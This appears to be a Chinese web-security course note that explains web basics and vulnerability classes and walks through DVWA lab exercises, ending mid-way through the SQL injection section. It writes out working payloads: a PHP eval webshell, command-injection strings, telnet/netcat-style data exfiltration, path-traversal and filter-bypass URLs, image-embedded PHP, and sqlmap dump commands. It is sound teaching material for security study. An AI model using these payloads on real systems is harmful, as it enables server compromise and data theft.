本篇笔记的配套视频:网易云课堂,微专业/web安全工程师。
1.1 Web简介
1)web的发展
web1.0:以内容为中心,网站提供内容信息,用户进行访问阅读,信息单向传输,典型的有门户网站和个人网站。
web2.0:以人为中心,用户可添加内容,彼此沟通互动,典型的有微博和博客。
web3.0:网站内的信息可以直接和其他网站相关信息进行交互,能通过第三方信息平台同时对多家网站的信息进行整合使用;用户在互联网上拥有自己的数据,并能在不同网站上使用;完全基于web,用浏览器即可实现复杂系统程序才能实现的系统功能;用户数据审计后,同步于网络数据。。
web4.0:…
2)安全问题的演进
而随着web从1.0到2.0演进,常见的web攻击方式也从SQL注入,上传漏洞等服务端手段拓展到XSS,CSRF等客户端手段。
3)安全问题分类:
- 客户端/前端:钓鱼、暗链、XSS、CSRF、点击劫持、URL跳转等;
- 服务端/后端:SQL注入、命令注入、文件上传、文件包含、暴力破解等。
1.2 Web通信
1) 当我们通过浏览器访问网址时发生了什么
- DNS服务器将域名解析为ip地址。
- 浏览器向web服务器发送一个HTTP请求。
- 服务器收到请求并进行处理。
- web服务器向浏览器返回一个HTTP响应。
- 浏览器对收到的响应和内容进行解码渲染。
2)URL协议
Uniform Resource Locator,定位服务器的资源
#(hash、锚点)作用:
表示网页中的一个位置,被称之为锚点,常用于某个网页间不同位置的跳转,简单的说就是在一个网页中,URL 不变的情况下,通过添加“#auchor”的字符在 URL 最后可以跳转到当前网页中已经定义好的锚点(id=“auchor”或name=”auchor”)的位置。
下面列出了#的特点:
- 该标识是本地的一个链接,#及后面的参数不会发送在http request请求中
- 在#后的参数只能表示一个id
- JavaScript可以使用window.location.hash读写#值,写入时会在不重载网页的前提下,创造一条访问历史记录,浏览器的后退键(历史)可用。
- 有的搜索引擎如google会忽略#以后的参数
3)HTTP协议
HyperText Transfer Protocol,传输服务器的资源
HTTP请求格式:请求行、消息报头(空行)、请求数据;
HTTP响应格式:状态行、消息报头(空行)、响应数据;
HTTP请求方法:GET,POST,HEAD、OPTIONS,PUT,DELETE,TRACE,CONNECT。
HTTP状态码:了解常见状态码,200 OK,301/302 Redirect,403 Forbidden,404 Not Found,500 Internal Server Error,503 Server Unavailable等。
cookie:用户凭证,是浏览器发给客户端的一段文本信息。例如用户输入账户密码后,网站会生成一个cooki给用户,相当于我们的钥匙,每次访问时浏览器都会带上cookie。
Set-cookie:服务端颁发凭证
referer: 告诉服务器请求的来源(浏览器自动加上),可用于:源统计流量,来源合法性判断(防止盗链,CSRF漏洞)。
1.2 Web开发基础知识
本章节只讲解最基础的内容,要求能看懂就行。
1)名词解释
元素:通常以开始标签起始<xx>,以闭合标签终止</xx>
属性:元素的额外信息,可分为标签属性(name、id等),事件属性(onload、onerror、onclick等)
2)涉及安全相关的常见元素
内联框架,在框中展示另一个页面
3)DOM(Document Object Model)
DOM是一种处理可扩展置标语言的标准编程接口,它规定了HTML,XML等语言的一些规范,使JavaScript(以及其他编程语言)可以根据这些规范来进行各种操作。
因此DOM的本质是连接了Web页面和编程语言。
所有 HTML 元素被定义为对象,而编程接口则是对象方法和对象属性,方法是能够执行的动作(比如添加或修改元素),属性是您能够获取或设置的值(比如节点的名称或内容)。
DOM将Html转为DOM树,能更直观的了解页面元素。
1)HTML中
<script> js代码 </script> 或 事件属性(如onclick)中
例:将页面中登陆超链接修改为弹出告警
- 通过开发者工具选中页面中的元素
- 直接在查看器中修改
- 点击登陆查看效果
2)浏览器开发者工具的控制台中
例1:使用js获取元素
- 通过开发者工具选中页面中的元素
- 在控制台使用getElementByld()通过标签的id属性获取元素
- 使用.innerHTML获取元素内容
- 使用alert() 弹出警告框展示信息
演示:将登录框的元素打印出来
alert(document.getElementById(“TANGRAM__PSP_10__form”).innerHTML)
例2:修改HTML元素内容
使用.innerHTML赋值
演示:把百度的登录框内容,修改为内联框架,显示网易的登录框
document.getElementById(“TANGRAM__PSP_10__form”).innerHTML=”<iframe src=’https://id.163yun.com/’></frame>”
例3:利用document.write写入html内容
写入实时时间,以及登录框
document.write(Date()) document.write(“<iframe src=’https://id.163yun.com/’></frame>”)
例4:获取、修改cookie
document.cookie document.cookie=”cookie=test”
修改后会在末尾添加
也可以在“网络”中查看cookie
浏览器对象模型,本质是连接浏览器和编程语言。可用于获取浏览器信息,操作浏览器等。
常用函数:
- alert(“文本内容”),警告弹窗
- confirm(“文本内容”),确认弹窗。确定返回true,取消返回false
- prompt(“标题”, “输入框默认值(可选)”),提示弹窗,确定返回输入,取消返回null
可在控制台中操作,常用于简单的调试和信息展示。如XSS漏洞的测试。
- window.screen,获取屏幕信息,如长宽等,注:window.可省略,以下都是
- window.location.href,获取页面URL
当前页面转到百度,执行window.location.href = “http://www.baidu.com”
- window.navigator获取浏览器信息,如window.navigator.userAgent
- window.open(“网址”) 打开指定页面
- window.close() 关闭窗口
1)环境搭建
可使用phpstudy快速搭建mysql环境
2)常用mysql命令
创建数据库:create database xxx;
查看数据库:show databases;
切换数据库:use xxx;
删除数据库:drop xxx;
创建表:create table 表(属性名 数据类型 [完整性约束条件],
属性名 数据类型 [完整性约束条件]);
查看数据表:show tables;
插入数据表:insert into 表(‘键1’, ‘键2’) values(‘值1’, ‘值2’);
查询数据库:select * from 表;
条件查询:where
排序:order by
合并两张表的信息:select 信息 from 数据表1 union select 信息from 数据表2;
注:重复的数据会合并, 若不想合并重复的,使用union all
3)注释
注释单行:#……… 或 — …… 注:–后面有空格
注释多行:/*……*/
4)常用内置函数:
- database() 显示当前数据库,select databases();
- current_user 显示当前用户,select current_user;
- load_file(‘文件路径’),打印文件内容
- version(),获取数据库斑斑
- into + outfile,写入文件
一种脚本语言,常用于网页的开发。
php在服务端执行,返回html给客户端。后缀名php,php文件可包含html、js、php代码。
1)基本语法
脚本范围:<?php ?>
注释单行:#……… 或 // ……
注释多行:/*……*/
变量:$变量名,区分大小写,定义和使用都要加$
打印信息:echo和print,功能类似,实际使用中一般用echo。
函数:function 函数名(){ 函数体 }
2)php实现安全相关的常见功能:
获取表单信息:
http请求为GET,php里使用$_GET,请求为POST时,使用$_POST
GET和POST的一个区别,GET会将参数写在URL中,而POST不会。
$_REQUEST可以获取这两种的传值
文件上传:
常见系统变量:
文件的包含:
include “php文件路径”;
require “php文件路径”;
区别:引入文件的时候,如果碰到错误,都会给出提示,但include继续运行下边的代码,而require并停止运行。
4)php连接数据库
2.1 无处不在的安全问题
1)钓鱼
利用各种手段,仿冒真实网站的URL地址以及页面内容,以此来骗取用户银行或信用卡账号、密码等私人资料。
常用手段如在邮件里带上伪造网站链接,或是带有诱惑性文字的标题来诱骗受害者点击。
2)篡改网页
黑客利用各种技术、非技术手段获取网站控制权后,将网页内容恶意修改的手段。
3)暗链
黑客获取网站控制权后,在网页内植入不可见的链接。
它不能为正常用户点击,是为搜索引擎的爬虫机器人准备的,目的是提高网站的排名(SEO,Search Engine Optimization,搜索引擎优化)
暗链一般为网游、医疗、博彩、色情类。
4)webshell
黑客获取网站控制权后,上传webshell木马。
它是以asp、php、jsp、cgi等网页文件形式存在的一种命令执行环境,是一个功能强大的web后门程序,可通过浏览器访问。一旦被植入可执行大部分命令操作,获取服务器权限。
由于webshell的流量是和正常网页流量混在一起,不容易被入侵检测系统发现。
关键字:Hacked by
搜索引擎语法:
Intitle:keyword标题中含有关键词的网页
Intext:keyword正文中含有关键词的网页
Site:domain在某个域名和子域名下的网页
例如:谷歌搜索intitle:hacked by可以搜索出曾经被黑过的网站
2.2 常见Web漏洞解析
Cross Site Script:跨站脚本攻击,为了和CSS区分开,简写XSS。
危害:盗取用户信息,钓鱼,制造蠕虫等。
一种常见的攻击方式,用户访问A服务器,执行了黑客注入的脚本,将用户cookie发送给黑客搭建的服务器B,黑客利用cookie信息仿冒用户操作。当然XSS能做的不止是盗取cookie。
1)存储型
黑客先构造带有XSS脚本的内容,提交给web程序(如论坛留言、博客),写入数据库中。其他用户或系统管理员在查看时会触发XSS。
用户的触发过程:
分析源码:
<img src=”#” onerror=alert(/here…/)>
留言中img的路径非法,触发了后面的alert语句。
2)反射型
用户访问携带XSS的链接,打开链接即触发XSS。
我们可以看到URL中带有明显的XSS特征,这个语句的含义是当图片加载失败,执行后面的alert语句。这里img src指向的是一个非法地址,图片肯定加载失败,因此触发XSS脚本。
查看html源码
分析后端php代码:
触发过程:
3)DOM型
将XSS写入#锚点中,用户访问携带XSS脚本的链接即触发XSS。
锚点信息是不会发送到后端服务器的,因此向页面输出XSS的是前端页面。
js脚本分析:
从URL中取出值放置在errorMsg变量中。
接着对errorMsg进行解码,再以innerHTML的形式写入id=errorMsg的DOM中。
与反射型的区别:
- 它不是在参数中,而是在锚点(hash)中。
- DOM型通过前端js将xss脚本写入DOM中,而反射型是通过后端web程序写入相应页面中。
4)总结对比
存储型:代码是存储在服务器中的,例如黑客提交了一篇带恶意脚本的博客,过滤不严时被存储在服务器中,当其它用户访问时,就会触发脚本,执行恶意操作。受害者较广。
反射型:需要欺骗用户自己去点击链接才能触发XSS代码,例如对于网站的用户,不小心点击了一个链接,暗中将他的cookie发送到由攻击者构建的网站。受害者为少数用户。
DOM型:利用URL中的锚点以及前端JS触发XSS,服务器不参与,而存储型与反射型都需要服务器响应参与。
Cross Site Request Forgery 跨站请求伪造
利用用户已登录的身份,在用户不知情的情况下以用户的名义(cookie)完成非法操作。
危害:被转账、被发广告等,制造蠕虫。
攻击过程:用户正在银行的网站上进行转账操作,此时用户点击黑客构造的恶意链接,自动完成向黑客转账的动作。通常cookie中会存放用户凭证,浏览器在发送请求时会自动带上已有的cookie,由于当前cookie还生效,因此提交成功。
在恶意地址里,黑客通过iframe内联框架指向了以下自动转账页面,自动提交转账动作。
之所用内联框架是因为转账一般会有明显的页面跳转,直接访问容易被发现。
又叫UI覆盖攻击,是一种视觉上的欺骗手段,通过诱导用户点击链接完成攻击。
攻击者通常使用一个透明的iframe,覆盖在诱导网页上,诱使用户在该页面上进行操作,此时用户将在不知情的情况下点击透明的iframe页面
例:利用小游戏让用户在玩游戏的过程中,诱导用户点击某个区域,提交信息。
源码分析:
利用用户熟悉信任的网站,借助未验证的URL跳转漏洞在URL参数里添加恶意网站地址,使得用户的页面直接跳转到恶意的网站,而且恶意网站一般是一个高仿网站,使用户误以为访问的是真正的官网。
例如下面例子中URL前部分为百度贴吧的链接,使用户放松警惕点击,结果却是跳转到了恶意网站。
现在很多恶意链接进一步将跳转的恶意地址伪装成短链接的形式,如:http://t.cn/RVTard,会更具迷惑性。
源码分析:
1)php利用header跳转
下面源码中,通过向url.php后台程序传入url参数,后通过header(“Location: $url”);进行302重定向,因此可以利用这个漏洞,直接在URL里构造恶意跳转的链接。
2)Javascript利用window.location.href跳转
3)META标签进行跳转
应用程序对用户输入的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数代入数据库中查询,黑客通过构造不同的SQL语句来实现对数据库的任意操作。
本质:数据和代码未分离,即数据当做代码来执行
源码分析:
下列是一个“万能密码”的例子。应用程序将用户、密码通过参数传入,并用于拼接sql语句,本意是在数据库中查询账号、密码密码相同的数据,若查到则返回成功。
此时我们将账号参数修改为admin’– (–后带空格),sql语句就注释掉了密码相同的限制,等同于查询是否有admin账号,有就返回成功。
漏洞条件:
- 可以控制输入的数据
- 服务器拼接SQL执行;
黑客利用应用程序调用的系统命令函数(函数的参数可控),将恶意命令拼接到正常命令中执行。
php常见的命令函数:system、exec、shell_exec、eval
源码分析:
这段代码里执行的curl命令的参数url是通过$_GET获取,这里$url参数可控
我们将参数修改为:http://www.163.com ” %26 dir “./
这里%26是转义后的&,因为在url中&代表参数分隔符
等同于执行了两条命令:curl -I “http://www.163.com” & dir “./”
常见的文件漏洞分类:
1)文件上传
利用网站提供的上传文件(头像、附件等),进行上传webshell、木马。
验证漏洞存在的方法:
在可上传文件的页面(如发帖上传图片)上传如下php文件,接着查看图片地址(图片会加载失败,因为实际是php文件地址),最后在浏览器地址栏里输入执行。若能显示出php信息,漏洞存在。
<?php phpinfo(); ?>
漏洞条件:
- 可以上传执行脚本
- 脚本拥有可执行权限。
2)任意文件下载:
利用网站提供的下载文件(应用、附件等),来下载web上的任意文件和程序代码。
危害:代码泄露、数据库配置文件泄露、系统文件泄露。
方法:首先获取文件下载地址,接着修改下载文件的参数为其他文件,如代码、配置文件(要进行各种尝试和猜测),在浏览器中执行。
漏洞条件:未验证下载文件的格式;未限制请求的路径。
3)文件包含漏洞
在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
分类:本地文件包含、远程文件包含(通过http或其他网络请求来引用远程文件)
php常见文件包含函数:include() require() include_once() require_once()等
源码说明:下面的例子通过$_GET解析参数name获取远程文件地址,使用include包含
验证漏洞的方法:
上传带有phpinfo()的文件,后缀任意(如.png),在页面上获取该图片的地址,接着将URL里name值替换为上传文件的路径。执行URL,若显示了php信息则说明漏洞存在
漏洞条件,php.ini配置里以下两个配置需打开:
allow_url_fopen = On (允许打开远程文件)
allow_url_include = On (允许包含远程文件)
在Web安全测试中,借助合适的工具,能够帮助我们提高测试效率、扩展测试思路。本课会给大家介绍浏览器及扩展、代理抓包、敏感文件探测、漏洞扫描、注入探测、目标信息搜集的常用工具用法及测试思路。
web攻击流程:信息搜索->漏洞探测及利用->后门植入/获取权限->痕迹清理
3.1 浏览器和插件
一般使用Chrome、Firefox、IE浏览器
浏览器设置,懂得如何设置js和弹窗的开关,xss漏洞,一般以弹窗来证明。验证时需要开启。
1)Chrom
可以针对当前网站或是全局进行
全局设置:设置–>隐私设置和安全性–>网站设置
针对当前网站:
2)Firefox
3)IE
XSS筛选器开关,保证XSS脚本不被拦截
1)知道如何清除缓存,去掉自动登录信息等
2)知道如何进入隐身模式,这样不会记录各种登录信息等。
3)查看页面源代码(鼠标右键,或view-source:url)
4)查看网络数据包
F12调出开发者工具,选择网络,刷新页面,选取相应的请求包
5)如何查看DOM元素
对目标元素点右键,检查元素;或者在开发者工具里点“选取元素”
6)插件(firefox为例)
- firebug,已退役,整合进了开发者工具中
- HackBar,提供快速构造(修改)HTTP请求(如添加referer),以及多种编码变换的功能
已收费,可以使用替代插件,如HackBarV2,安装后集成在开发者工具里,F12调出。
或使用旧版 hackbar2.1.3(手动安装,并关闭插件自动更新)
- Advanced Cookie Manager 已下线
替代插件:Cookie Quick Manager,用于修改、增加、删除Cookie
- Proxy Switcher
推荐使用替代插件:SwitchyOmega
- Tamper data 已下线
暂无可替代扩展,可以安装旧版浏览器(我在kali下使用firefox36.0.4验证可用),手动安装amper_data-11.0.1-fx.xpi
3.2 代理工具介绍
代理原理:就像一个“中间人”,当客户端有因特网的数据要求时,Proxy会帮用户去向目的地取得用户所需要的数据,负责拦截、放行、丢弃请求和响应。
常见代理抓包工具:Burpsuite、Charles、Fiddler
wireshark的区别:wireshark也能抓取HTTP、HTTPS,但是不能解密HTTPS,所以wireshark看不懂HTTPS中的内容。同时它也不具备拦截、修改报文。
设置代理抓包时,浏览器和代理抓包工具的ip、端口需设置一致。配合搭配代理插件快速切换代理。
1)charles设置:
ssl代理设置里,添加对443端口的ssl代理
在本地安装证书,然后还需要在移动端或浏览器上安装,这个我们在第二步浏览器配置时再执行(这里点开后会提示在浏览器上执行访问chls.pro/ssl,先记住这个地址)
2)Firefox设置
常规–>网络设置
默认开启了“windows代理”,这里选择“使用系统代理设置”也可以。
根据第一步里远程安装证书的提示,打开地址chls.pro/ssl
下载证书时至少勾选第一项目。
如果没有配置无法访问https网站,可以通过浏览器访问about:support 获取firefox配置文件目录,关闭浏览器,删除cert9.db后重启再次访问chls.pro/ssl导入证书
上述配置完就可以抓https报文了。
3)SwitchyOmega配置
上述步骤验证了代理可用,我们这里使用SwitchyOmega插件代替firefox的代理设置。
先将firefox的代理关闭,设置为不使用代理。
使用该插件可以方便的在不同代理间切换,或关闭代理。
勾选抓包https和解密https流量,会提示安装证书
设置代理端口,默认8888
3.3 漏洞扫描工具
环境:下载并配置本地的Python环境
1)什么是敏感文件
网站管理后台,数据文件,备份文件,webshell等;
2)如何探测敏感文件
猜测可能文件名,根据返回HTTP状态码判断文件是否存在。200:存在;301:文件发生跳转需要再确认;404不存在。可利用自动化工具“御剑”,配置字典,扫描站点。
用以下两个站点测试,ASP、DIR、MDB、PHP字典测试:
4)扫描时字典不是越大越好
根据实际情况选择合适的字典。
通过访问index.asp、index.php、index.aspx、index.jsp来尝试初步判断网站类型,选择合适的字典。
根据网站地址猜测敏感文件,生成定制化的字典。
1)常用工具
AWVS,NetSparker,AppScan。
2)漏扫描流程与基本原理
- 扫描配置与目标基本信息探测
- 爬虫:目标站点页面爬取
- 各个漏洞探测模块:具体的漏洞测试
- 漏扫结果记录和呈现
3)使用漏扫工具需要明确的问题
- 可能 对目标站点的误伤,如:高流量、请求了危险功能(如删除数据库)
- 漏扫的盲区:逻辑漏洞,如:订单金额数据篡改漏洞
- 测试用例可能需要调整才能触发
- 误报与漏报
- 将扫描结果作为人工测试的线索
1)sqlmap介绍
sql注入漏洞检测与利用工具,依赖python2.7环境
从官网sqlmap.org下载,版本根据实际情况选择,windows的下载zip格式,python sqlmap.py出现下图,说明已正常运行。
目录说明
- txt文件夹下是sql注入的字典
- xml文件夹下是数据库相关payload(攻击载荷)
- 操作结果会保存在本地output目录
注入基本流程:
- 找到有数据库交互的功能页面,这往往需要经验判断。
- 判断是否存在SQL注入。
- 利用SQL注入漏洞读取数据。
- 导出所需数据保存。
2)查找注入点
查找GET方式的sql注入点:
开始检测:python sqlmap.py -u “检测的URL地址”
查找POST方式的sql注入:
方法一:
将抓包软件记录的post包以文本方式保存,如下图。
执行命令:python sqlmap.py -r “数据包路径”
方法二:
python sqlmap.py -u “检测的URL地址” –data=”参数”
3)获取数据
python sqlmap.py -u “检测的URL地址” -p “注入点”
注,若需要登录信息,–cookie “cookie信息”,其他的参数如下:
- 查看用户:–user
- 查看数据库:–dbs
- 查看当前用户和数据库:–current-user –current-db
- 读取数据库数据表名:–tables -D “数据库名”
- 查看表字段信息: –columns -T “表名” -D “数据库名”
- 查看表有多少条记录:–count -T “表名” -D “数据库名”
- 查看表里的所有记录:–dump -T “表名” -D “数据库名”
- 查看表里指定条数的记录:–dump -T “表名” -D “数据库名” –start 开始记录 –stop 结束记录
- 查看数据库里所有表的所有记录:–dump-all -D “数据库名”
3.4. 在线工具
熟悉百度、谷歌的高级搜索。
1)通过界面搜索
例:通过百度、谷歌,搜索目标网站中带有关键字的页面
2)google hack基本搜索语法
- 目标网站的基本介绍:info:站点
- 搜索特定的站点信息,site:站点
- URL中包含指定字符串,inurl:关键字
例1:查找某个站点有没有phpinfo页面,site:testphp vulnweb.com inurl:phpinfo.php
例2:找找有没有数据库交互页面,site:testphp vulnweb.com inurl:php?
- URL中包含指定字符串,site:站点 inurl:(login|admin)
- 网页标题中包含指定字符串,intitle:关键字
- 网页标题中包含指定字符串,intext:关键字
- 搜索特定后缀名的文件(例查看有没有泄露的数据库), filetype:文件名
例1:查找数据库泄露,site:testphp.vulnweb.com filetype:sql
例2:查询日志泄露,site:testphp.vulnweb.com filetype:log
- 查看网站之前缓存,如网站迁移已不能访问:cache:站点
例:cache:testphp.vulnweb.com
3)旁站查询
bing的旁站查询功能(目前不能直接在网站上搜索,查资料需要申请key调用api,比较麻烦)
替代方案:站长工具的同IP网站查询
例,我们要查询testphp.vulnweb.com同IP下还搭建了其他什么网站
- 通过开发者工具获取testphp的IP地址,176.28.50.165
- 同IP网站查询该地址即可
网络空间搜索引擎的作用就是将互联网上公开的网络资产收集和整理,以此方便人们进行查阅和利用。其原理是探测爬取网站,识别并打标签,存储信息以供检索。
1)常用网络空间搜索站点:
ZoomEye使用简单说明:
- 查看指定组件和版本的信息,app:”组件名” ver:”组件版本”
例:app:”Apache httpd” ver:”2.2.16″
- 搜索PHP语言的网站,直接搜索PHP
- 搜索VxWorks系统的设备,直接搜索VxWorks
- 可以通过页面的高级搜索查看更多搜索信息
- 搜索开放21端口,port:”21″
2 )其他在线工具
WhatWeb:
一款网站指纹识别工具,可以收集网站搭建使用的程序,包括何种CMS系统、什么博客系统、Javascript库、web服务器、内嵌设备等。
挖洞的思路:
- 漏洞是什么
- 怎么挖洞:手动挖、工具挖、自己写工具挖
- 为什么要挖洞
- 挖后的善后工作
4.1 漏洞环境搭建
1)PhpStudy
集成了Apache、PHP、MySQL、phpMyAdmin等一系列搭建php环境的工具。达到快速搭建的目的。该软件跨平台。
安装mysql,默认账号密码为root/root
2)DVWA
DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
分为四种安全级别:Low,Medium,High,Impossible。
测试者可以通过比较四种级别的代码,逐步掌握每种渗透方式的原理和防御。
部署方法:
- 官网下载DVWA部署包http://www.dvwa.co.uk/ ,解压后放置于phpStudy安装路径的WWW目录下,文件夹可重命名为dvwa。
- 进入config,修改config.inc.php里的数据库配置。这里只要修改mysql的密码。
- 打开浏览器访问http://localhost/dvwa/setup.php,点击最下方 Create 创建测试用数据库,如果报错,确认config.inc.php里的数据库配置正确。
- 打开浏览器访问http://localhost/dvwa/login.php,使用admin/password即可访问。
注:这里最好用localhost,如果使用127.0.0.1在测试CSRF时有些小问题。
3)其它工具
下载浏览器Firefox,安装第三章中提到的插件和工具。
4.2 暴力破解
暴力破解(Brute Force):核心就是“穷举法”,猜出用户的密码。利用常见的密码字典,就能破获大部分的密码。理论上来说,只要给定足够的时间,暴力破解就一定能破译密码。
1)OWASP ZAP 工具安装
这款工具功能强大,包含抓包,爬虫,端口扫描,主动扫描等。在暴力破解这一章节中,我们利用的是它的代理抓包以及暴力破解功能。
证书设置:
安装好后需要导入证书,否则firefox无法正常访问。
ZAP导出证书:Tools–>Options–>Dynamic SSL Certificates–>save
firefox导入证书:首选项–>隐私与安全–>查看证书–>证书颁发机构–>导入
代理端口设置:
打开ZAP软件,设置代理,默认代理端口是8080,若无冲突可以不做修改。我们可以打开页面确认:127.0.0.1:8080
firefox设置代理为127.0.0.1,端口8080
2)DVWA实战
设置破解难度为低(low),submit提交
进入暴力破解页面
抓包查看请求信息,Fuzz,针对账号和密码构造字典,start fuzzer
在fuzzer窗口里查看破解结果,一般错误和正确的页面不同,这里根据大小排序找到不一样的结果。
medium等级:验证错误,会有sleep几秒。延长破解时间。
high:每次登陆的参数user_token根据上一次的相应填写,值都是动态、随机的。该工具不能满足。可以自己写python工具进行交互式暴力破解。
impossible:账号错误3次,锁定15分钟,不论正确错误返回的页面相同。此外,常见的提高安全性手段如添加验证码。
4.3 命令注入
前面的基础课程中,我们提到命令注入需要三个条件:
- 是否调用系统命令
- 函数/参数是否可控
- 是否拼接输入
DVWA实战:
1)先要确定它调用的是系统命令,通过和系统命令执行结果做对比推测(也只能大概确定是ping命令)。
2)确定可控字段,这里是输入的IP地址
3)注入的方法:
- win下用 & 或 && 执行两条命令,如127.0.0.1 & net user linux下 用 ; 来执行两条命令
- | 将上条执行的结果作为下条命令的输入,127.0.0.1 | net user,这里ping不会输出,值输出net user,但已达到目的
- || 第一条命令执行失败了才执行第二条。127.0.0.1a | net user
- 如果敏感命令被过滤了,比如whoami被过滤了,可以用一对双引号或单引号隔开来避开敏感词,如who””ami
impossible:通过限制IP的格式,有效的防止了命令行注入,一般通过“白名单”方式,限制那些可以输入。
4)盲注
示例是有输出的,如果没有输出我们就需要盲注.
例1,延时注入:
windows下,ping 127.0.0.1 -n > nul
linux下,sleep 5
我们通过开发者工具可以看到,页面相应比以往延迟了10秒,说明漏洞存在
例2:远程请求
通过注入远程请求命令,从服务端发起ping、telnet、curl等请求。
curl,比如这里我们抓到了百度的http请求。
这里仅仅是判断了漏洞存在,比如要进行托库,利用telnet命令将文件传输到指定服务器,telnet xxx.xxx.xxx.xxx {port} < {file to transfer}
其他可以利用来托库的命令(协议):NetCat、WGET、cURL、SMB、TELNET、ICMP、DNS等。
4.4 CSRF
CSRF(Cross-site request forgery):跨站请求伪造,本质是利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。有效的防护措施就是不要轻易点击任何不可信的链接和图片,服务器也可通过token和需要提供原始信息的方式来提高安全等级。
DVWA实战:
1)Low安全等级
进入CSRF页面,该页面的作用是修改登录DVWA的密码。
使用Tamper Data到get请求包,修改参数后回放发现密码修改成功。注:使用其他抓包软件也行,如暴力破解时用到的ZAP。
有了这个经验后,设计攻击方法:
- 直接发给受害者点击,但容易被识破
- 构造一个配有诱惑性图片的页面,包含自动提交转账动作的页面(最好再通过iframe内联框架),让用户不容易察觉。
2)Medium安全等级
如果使用构造的网页(测试时网站域名使用127.0.0.1)调转连接无效,通过抓包分析正确和失败的数据包。发现referer不同(DVWA获取到的是localhost,我们构造的网页是127.0.0.1)。通过不断修改referer确认,只要referer中包含了host就可以通过。这样我们可以在网站的目录下建立一个localhost文件夹,将网页放到该目录下(为的是让referer中带有localhost),测试通过。
查看源码验证:
2)High安全等级
抓包发现带上了动态的user_token,来自上一个相应包中。
企图在自己服务器构造页面获取用户token比较难,所以一种思路是结合之后的XSS获取token。
3)impossible安全等级的
输入框里多了一栏,“原始密码”,攻击者在不知道用户密码的情况下很难通过跨站伪造请求。
4.5 文件包含
文件包含(File Inclusion):是指页面利用url去动态包含文件(include或require等),当文件名参数可控但又过滤不严的时候,就容易被利用。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
漏洞实战:
需要先在phpstudy里php配置中开启allow_url_include开关。
1)low安全等级
通过观察url中带有参数指向文件名,尝试访问不同页面file1.php、file2.php、file3.php,变更的仅仅是文件名,这就是我们可以利用的地方。
尝试修改文件名验证,虽然返回文件不存在错误,但我们获得了一些有效信息,首先确定系统会去找这个文件,其次暴露了Web的绝对路径。
攻击本地路径:
路径前缀是固定的,如果我们要执行其他路径上的文件,可以通过../方式获取上层路径。如:
http://localhost/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
攻击远程路径:
首先在自己服务器上搭建一个页面,这里以phpinfo2.php为例,在页面执行:
http://localhost/dvwa/vunlnerbilities/fi/?page=http://127.0.0.1/phpinfo2.php
将在攻击Web服务器上执行攻击者服务器的程序。实际攻击中可以换成webshell
2)Medium安全等级
使用../无法访问,说明服务器过滤了一些字符。
”http:// ”、”https://”、 ” ../”、”..\”过滤掉,替换成为空字符。我们可以构造….//的方式,过滤掉中间的../,刚好还剩下一个../,例:
http://localhost/dvwa/vunlnerbilities/fi/?page=….//../../phpinfo.php
http://localhost/dvwa/vunlnerbilities/fi/?page=httphttp://://127.0.0.1/phpinfo2.php
3)High安全等级
报错:ERROR: File not found!,经过测试,发现要求page参数的开头必须是file,就那么刚好可以使用file本地文件协议。file://绝对路径
http://localhost/dvwa/vulnerabilities/fi/?page=file:///www/admin/localhost_80/wwwroot/phpinfo2.php
远程路径就不好使了,如果要执行webshell,可以尝试通过文件上传漏洞上传文件,在用file执行
4)Impossible安全等级
发现之前的方法都不管用,查看后台源码,发现原来使用了白名单机制,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,杜绝了文件包含漏洞。
漏洞修复:
当服务器开启allow_url_include选项时,会通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。因此有效的方法就是采用白名单的方式,防止这种漏洞。
4.6 文件上传
我们注册论坛时,常常可以上传自己的头像,但是如果控制不严,不法分子就可能利用这个途径上传可执行代码,引起安全问题,这里就是文件上传漏洞。
DVWA实战
1)Low安全等级
上传一句话webshell的php文件
<?php @eval($_GET[‘cmd’])?> //eval() 函数把字符串按照 PHP 代码来解释
我们发现上传成功,且还返回了文件路径。
根据路径我们构造攻击URL,cmd后面跟上要执行的命令,以;结尾
http://localhost/dvwa/hackable/uploads/test.php?cmd=phpinfo();
2)Medium等级
上传php文件提示,只接收图片格式。尝试将文件后缀修改为jpg上传也失败。
使用ZAP抓包工具分析对比上传成功和失败的两次报文,发现以下三处不同,经过不断尝试发现限制在Content-type
我们通过ZAP修改Content-type=image/jpeg再次发送,已上传成功。
3)High安全等级
修改content-type且修改为jpg后缀也不行。说明对内容也进行了限制。
我们这里使用“内涵图”技术,将php代码嵌入图片中。
1.jpg为网上找的图片,2.php内容为:<? php phpinfo(); ?>
linux:cat 1.jpg 2.php > 3.jpg
windows: copy 1.jpg/b+2.php/a 3.jpg
直接访问就是显示图片,怎么才能让里面包含的代码被执行呢?
方法一:
这里我们就要结合上一节提到的文件包含漏洞,让服务器执行我们上传的可执行代码!我们追加page的参数为:
上面一堆乱码就是图片信息,但是不影响。后面就是我们的php代码。
方法二:
利用nginx的畸形解析功能,需要nginx配置cgi.fix_pathinfo=1
例如URL里 xxxxx/3.jpg/3.php 只要3.jpg文件存在,就当成3.php来解析。
3)Impossible等级
上传文件进行了重命名,重新生成了图片,有效地防止了文件上传漏洞。
漏洞修复建议:
- 上传类型白名单
- 上传文件重命名
- 文件压缩重生成
- 存储目录执行权限
- 存储目录与Web分离
4.7 SQL回显注入
SQL注入(SQL Injection):是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。
SQL回显注入:数据库的执行结果直接显示到页面上。
回顾SQL注入的条件:
- 参数用户可控:前端传给后端的参数内容是用户可以控制的。
- 参数代入数据库查询:传入的参数拼接到sql语句,且代入数据库查询。
DVWA实战:
1)LOW安全等级
验证漏洞:
提示我们输入User ID,我们输入1,页面返回该用户的信息。
